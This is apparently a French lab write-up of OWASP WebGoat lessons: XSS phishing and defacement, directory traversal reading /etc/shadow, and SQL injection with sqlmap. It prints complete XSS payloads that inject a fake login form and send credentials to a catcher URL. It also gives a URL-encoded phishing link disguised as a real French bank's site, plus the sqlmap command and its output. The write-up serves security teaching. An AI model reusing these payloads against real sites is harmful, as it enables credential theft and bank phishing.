OWASP WebGoat - sécurité des applications WEB

Quelques exemples techniques

Phishing, XSS et défacement

La leçon Phishing XSS, tirée de l'application WebGoat, propose un champs de recherche délibérément non traité. On le vérifie directement en réalisant un test basqiue, on injecte le code javascript suivant :

<script>window.alert('hello XSS');</script>


Le résultat est alors sans appel : aucune validation sur ce champs n'est réalisée.



On inspecte ensuite le code source de la page, on s'apperçoit alors qu'en plus de ne pas être validé, les données entrées via ce champs de formulaire de recherche, sont également affichées à l'intérieur de balises <form></form>


Ne pourrait-on pas en profiter pour exploiter cet oubli?



On se décide alors à suivre la leçon et à injecter un peu de code de manière à réaliser un formulaire transmettant les données à serveur rogue, complice du méfait (ici la WebGoat jouera ce rôle afin de valider la leçon mais on utilisera un autre servlet nommé catcher) :


</form><form style="position:absolute; top: 250px; left: 350px; z-index:199;" name="xhackForm" ><h1> Welcome User</h1><br/><br/>Username: <input type="text" name="usr"><br /><br />Password: <input type="password" name="pwd"><br /><br /><input type="button" value="se connecter" onClick="show();"/></td></tr></table><script type="text/javascript">function show() {var a=document.forms["xhackForm"]["usr"].value;var b=document.forms["xhackForm"]["pwd"].value; if (a!=null && a!="" && b!=null && b!="") {var url='http://192.168.0.18:8080/WebGoat/catcher?PROPERTY=yes&user='+a+'&password='+b; document.location.href=url}}</script>

Présentation de la page originale (JSP de la leçon WebGoat) :



Avant injection, il n'y a pas de formulaire en dehors de celui de recherche (jusqu'ici tout va bien).



Préparation de l'injection, on soumet le payload via le champs de recherche disponible :



Après injection, apparition d'un nouveau venu.



Et si l'on soumet le formulaire, le navigateur quitte alors la page et envoi la valeur des champs créés par requête GET (comportement attendu).



Transmission des informations collectées au serveur rogue (la barre d'addresse est modifiée).



On décide ensuite de pousser le vice encore un peu plus loin, et on s'attaque désormais au défacement de la WebGoat, ce qui nous permettra par la suite de réaliser un phishing complet

Première étape du défacement : on essaye de rendre la page vierge de son contenu, ne laissant plus apparaĆ®tre que notre petit formulaire pirate.


</form><div style="position:absolute; top: 0px; left: 0px; width: 100%; height: 100%; z-index:198;background-color: white;"></div><form style="position:absolute; top: 250px; left: 350px; z-index:199;" name="xhackForm" ><h1> Welcome User</h1><br/><br/>Username: <input type="text" name="usr"><br /><br />Password: <input type="password" name="pwd"><br /><br /><input type="button" value="se connecter" onClick="show();"/></td></tr></table><script type="text/javascript">function show() {var a=document.forms["xhackForm"]["usr"].value;var b=document.forms["xhackForm"]["pwd"].value; if (a!=null && a!="" && b!=null && b!="") {var url='http://192.168.0.18:8080/WebGoat/catcher?PROPERTY=yes&user='+a+'&password='+b; document.location.href=url}}</script>



La page est désormais vierge en dehors du formulaire soumis en payload et d'un petit rappel de l'application WebGoat sous-jacente, resté visible.



Un dernier petit coup de baguette magique et la première étape est réalisée (les modifications réalisées sur le code précédent sont en gras).


</div></form><div style="position:absolute; top: 0px; left: 0px; width: 100%; height: 100%; z-index:198;background-color: white;"></div><form style="position:absolute; top: 250px; left: 350px; z-index:199;" name="xhackForm" ><h1> Welcome User</h1><br/><br/>Username: <input type="text" name="usr"><br /><br />Password: <input type="password" name="pwd"><br /><br /><input type="button" value="se connecter" onClick="show();"/></td></tr></table><script type="text/javascript">function show() {var a=document.forms["xhackForm"]["usr"].value;var b=document.forms["xhackForm"]["pwd"].value; if (a!=null && a!="" && b!=null && b!="") {var url='http://192.168.0.18:8080/WebGoat/catcher?PROPERTY=yes&user='+a+'&password='+b; document.location.href=url}}</script>;<div style="font-size:0px;">



Le dernier élément génant est désormais de l'histoire ancienne, on passe alors au défacement du site.



Seconde étape (défacement) : on maquille le site à l'aide de deux balises HTML <IFRAME>.


</div></form><div style="position:absolute; top: 0px; left: 0px; width: 100%; height: 100%; z-index:198;background-color: white;"></div><iframe src="http://www.bnpparibas.net/banque/portail/particulier/HomePage?type=site" width="100%" height="136px" scrolling="no" align="left" frameBorder="0" style="position: absolute; top: 0px; left: 11px; z-index:199;" ></iframe><iframe src="http://www.bnpparibas.net/banque/portail/particulier/HomePage?type=site" width="222px" height="100%" scrolling="no" align="left" frameBorder="0" style="position: absolute; top: 0px; left: 11px; z-index:199;" ></iframe><form style="position:absolute; top: 250px; left: 350px; z-index:199;" name="xhackForm" ><h1> Welcome User</h1><br/><br/>Username: <input type="text" name="usr"><br /><br />Password: <input type="password" name="pwd"><br /><br /><input type="button" value="se connecter" onClick="show();"/></td></tr></table><script type="text/javascript">function show() {var a=document.forms["xhackForm"]["usr"].value;var b=document.forms["xhackForm"]["pwd"].value; if (a!=null && a!="" && b!=null && b!="") {var url='http://192.168.0.18:8080/WebGoat/catcher?PROPERTY=yes&user='+a+'&password='+b; document.location.href=url}}</script><div style="font-size:0px;">



Défacement de l'application WebGoat, on essaye de la faire ressembler au site d'une Banque Française.



Une fois ces premiers essais réussis, l'objectif est maintenant de faire le lien entre un courriel d'hameçonnage (phishing) et notre application ainsi maquillée, le tout en laissant croire à l'utilisateur qu'il sera redirigée vers une page dite de "confiance".



Réception d'un courriel invitant à se connecter sur le site banquier. (Le piège étant l'utilisation du caractère URL signifiant l'authentification "@", url_site_banque@url_site_vulnérable?parametre_vulnérable=URL_ENCODE(payload))




On joue alors le jeu en simulant l'utilisateur se laissant piéger.




Et l'on tombe alors dans les filets de l'attaquant, il n'y a plus qu'à lui soumettre nos accréditations.



Voici le code de la solution complète (encoding URL complet contenu dans le lien du mail d'exemple), en gras l'injection XSS :


http://www%2Ebnpparibas%2Enet%20%4e%75%41%58%57%36%37%64%4a%4b%34%35%20%4e%75%41%58%20%4e%75%41%58%57%36%37%64%4a%4b%34%35%36%50%4c%41%6d%5a%45%52%53%45%20%4e%75%41%58%57%36%37%64%4a%4b%34%35%36%50%4c%41%6d%5a%45%52%53%20%4e%75%41%58%57%36%37%45%50%6e%4a%48%59%32%33%44%46%50%6e%4a%48%59%32%33%44%46%575%50%6e%4a%48%59%32%33%44%46%34%35%36%50%4c%41%6d%5a@192.168.0.18:8080/WebGoat/attack?Screen=42538&menu=900&Username=%3C%2Fdiv%3E%3C%2Fform%3E%3Cdiv%20style%3D%22position%3Aabsolute%3B%20top%3A%200px%3B%20left%3A%200px%3B%20width%3A%20100%25%3B%20height%3A%20100%25%3B%20z%2Dindex%3A198%3Bbackground%2Dcolor%3A%20white%3B%22%3E%3C%2Fdiv%3E%3Ciframe%20src%3D%22http%3A%2F%2Fwww%2Ebnpparibas%2Enet%2Fbanque%2Fportail%2Fparticulier%2FHomePage%3Ftype%3Dsite%22%20width%3D%22100%25%22%20height%3D%22136px%22%20scrolling%3D%22no%22%20align%3D%22left%22%20frameBorder%3D%220%22%20style%3D%22position%3A%20absolute%3B%20top%3A%200px%3B%20left%3A%2011px%3B%20z%2Dindex%3A199%3B%22%20%3E%3C%2Fiframe%3E%3Ciframe%20src%3D%22http%3A%2F%2Fwww%2Ebnpparibas%2Enet%2Fbanque%2Fportail%2Fparticulier%2FHomePage%3Ftype%3Dsite%22%20width%3D%22222px%22%20height%3D%22100%25%22%20scrolling%3D%22no%22%20align%3D%22left%22%20frameBorder%3D%220%22%20style%3D%22position%3A%20absolute%3B%20top%3A%200px%3B%20left%3A%2011px%3B%20z%2Dindex%3A199%3B%22%20%3E%3C%2Fiframe%3E%3Cform%20style%3D%22position%3Aabsolute%3B%20top%3A%20250px%3B%20left%3A%20350px%3B%20z%2Dindex%3A199%3B%22%20name%3D%22xhackForm%22%20%3E%3Ch1%3E%20Welcome%20User%3C%2Fh1%3E%3Cbr%2F%3E%3Cbr%2F%3EUsername%3A%20%3Cinput%20type%3D%22text%22%20name%3D%22usr%22%3E%3Cbr%20%2F%3E%3Cbr%20%2F%3EPassword%3A%20%3Cinput%20type%3D%22password%22%20name%3D%22pwd%22%3E%3Cbr%20%2F%3E%3Cbr%20%2F%3E%3Cinput%20type%3D%22button%22%20value%3D%22se%20connecter%22%20onClick%3D%22show%28%29%3B%22%2F%3E%3C%2Ftd%3E%3C%2Ftr%3E%3C%2Ftable%3E%3Cscript%20type%3D%22text%2Fjavascript%22%3Efunction%20show%28%29%20%7Bvar%20a%3Ddocument%2Eforms%5B%22xhackForm%22%5D%5B%22usr%22%5D%2Evalue%3Bvar%20b%3Ddocument%2Eforms%5B%22xhackForm%22%5D%5B%22pwd%22%5D%2Evalue%3B%20if%20%28a%21%3Dnull%20%26%26%20a%21%3D%22%22%20%26%26%20b%21%3Dnull%20%26%26%20b%21%3D%22%22%29%20%7Bvar%20url%3D%27http%3A%2F%2F192%2E168%2E0%2E18%3A8080%2FWebGoat%2Fcatcher%3FPROPERTY%3Dyes%26user%3D%27%2Ba%2B%27%26password%3D%27%2Bb%3B%20document%2Elocation%2Ehref%3Durl%7D%7D%3C%2Fscript%3E%3Cdiv%20style%3D%22font%2Dsize%3A0px%3B%22%3E%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20

Les copies d'écrans, pour cet exemple ont été prises avec le navigateur Web OWASP Mantra, mais les tests sont également concluant pour Internet Explorer et Mozilla Firefox.


Directory traversal

Une des leçons proposée par la WebGoat permet d'afficher des fichiers contenus dans un sous-répertoire de l'application, hébergée sur un serveur distant, directement avec les droits en lecture dont dispose le serveur HTTP (Tomcat). Après quelques manipulations et à l'aide de l'outils WebScarab (permettant de modifier la requête transmise au serveur), on s'apperçoit qu'il est en fait possible de visualiser bien plus (potentiellement tous les fichiers présents sur la machine !) et ce car aucune validation n'est réalisée par l'application.


Interception de la requête originalement transmise par l'application (via WebScarab).




Modification du paramètre File transmis à l'application via la méthode HTTP POST.




On affiche ainsi l'ensemble des couples login:mot de passe contenus dans le fichier /etc/shadown.
On pourra, par la suite, tenter de casser le hash (empreinte unique et irréversible obtenue à l'aide d'une fonction de hachage) du compte root, récupérer le mot de passe et prendre le contrôle du serveur.



Injection SQL avec sqlmap

Sqlmap est un script développé en python, permettant d'automatiser différentes techniques d'injections sql (et ce pour de nombreuses syntaxes correspondant aux SGBDs les plus répandus sur le marché, comme par exemple Oracle, Microsoft SQL Server, PostgresSQL, etc...). Il se base sur l'utilisation des paramètres mis à disposition pour une URL donnée (POST et GET) et détecte ceux pouvant être vulnérables. Normalement une fois le script lancé et un paramètre identifié comme vulnérable, sqlmap va alors tenter de retrouver l'ensemble du shéma (nom de la base, le nom des tables et des colonnes) de l'architecture de la base de données sous-jacente.

Normalement, car dans le cas de la WebGoat, il n'y a pas de SGBD couplé à l'application et donc sqlmap ne pourra pas dépasser l'étape de la détection de vulnérabilité.

$ ./sqlmap.py -u "http://192.168.0.18:8080/WebGoat/attack?Screen=31705&menu=1100" \
--user-agent="Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:17.0) Gecko/20100101 Firefox/17.0" --keep-alive \
--headers="Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=" -r post_req.txt -p account_number --cookie="ED12072EB9F828FC0A53497109BE45D8" \
--referer="http://192.168.0.18:8080/WebGoat/attack?Screen=31705&menu=1100" --dbs

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 08:21:41

[08:21:42] [INFO] parsing HTTP request from 'post_req.txt'
[08:21:43] [INFO] sqlmap got a total of 2 targets
....
[08:21:45] [INFO] testing sql injection on POST parameter 'account_number'
[08:21:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
...
...
...
[08:23:09] [INFO] testing 'SAP MaxDB boolean-based blind - Parameter replace (original value)'
[08:23:09] [INFO] testing 'Generic boolean-based blind - GROUP BY and ORDER BY clauses'
[08:25:01] [INFO] testing 'Firebird OR error-based - WHERE or HAVING clause'
[08:25:13] [INFO] testing 'MySQL >= 5.0 error-based - GROUP BY and ORDER BY clauses'
[08:25:13] [INFO] testing 'PostgreSQL error-based - GROUP BY and ORDER BY clauses'
[08:25:13] [INFO] testing 'Microsoft SQL Server/Sybase error-based - ORDER BY clause'
[08:25:14] [INFO] testing 'Oracle error-based - GROUP BY and ORDER BY clauses'
[08:25:14] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[08:25:17] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[08:25:21] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[08:25:24] [INFO] testing 'PostgreSQL stacked queries (heavy query)'
[08:25:27] [INFO] testing 'PostgreSQL OR time-based blind (heavy query)'

POST parameter 'account_number' is vulnerable. Do you want to keep testing the others? [y/N] n
sqlmap identified the following injection points with a total of 1683 HTTP(s) requests:
---
Place: POST
Parameter: account_number
    Type: stacked queries
    Title: PostgreSQL stacked queries (heavy query)
    Payload: account_number=101); SELECT COUNT(*) FROM GENERATE_SERIES(1,5000000);--&SUBMIT=Go!
---

[08:35:36] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[08:35:36] [INFO] fetching database names
[08:35:36] [INFO] fetching number of databases
[08:35:36] [INFO] retrieved: 
[08:35:37] [ERROR] unable to retrieve the number of databases
[08:35:37] [INFO] falling back to current database
[08:35:37] [INFO] fetching current database
[08:35:37] [INFO] retrieved: 
[08:35:38] [CRITICAL] unable to retrieve the database names

[*] shutting down at: 08:35:37

Le fichier post_req.txt donné en paramètre contient un enregistrement d'une reqête POST capturée à l'aide de Wireshark, sqlmap peut ainsi l'utiliser pour retrouver les paramètres injectables. Les autres options, en dehors de l'url donnée par -u et --dbs pour retrouver le schéma de la base de donnée, servent à déjouer l'authentification mis en place par le serveur WEB Tomcat.